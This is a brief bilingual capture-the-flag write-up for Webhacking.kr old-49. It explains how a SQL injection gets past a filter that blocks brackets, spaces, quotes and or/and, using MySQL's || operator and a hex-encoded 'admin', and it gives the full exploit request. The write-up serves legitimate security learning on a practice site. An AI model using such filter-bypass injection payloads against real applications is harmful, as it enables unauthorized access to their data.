Webhacking.kr old-49

Challenge

Return admin through a heavily filtered numeric SQL expression.

通过严格过滤的数值 SQL 表达式返回 admin。

1
https://webhacking.kr/challenge/web-24/

Analysis

lv 被当作 SQL 表达式使用。当前题目的过滤会拒绝括号、空白字符、引号以及 or、and 等关键字,但没有同时拒绝 MySQL 的 || 和十六进制字符串字面量。

100||id=0x61646d696e 的两部分分别是一个数值表达式和一个条件表达式。MySQL 中 || 可作为逻辑 OR 使用,0x61646d696e 会按字符串解释为 admin,所以当记录的 id 为 admin 时,条件为真并可被页面选中。

Solution

向 old-49 的 challenge URL 发送以下完整请求:

1
https://webhacking.kr/challenge/web-24/?lv=100%7C%7Cid%3D0x61646d696e

未编码显示时,lv 的原始值是:

1
100||id=0x61646d696e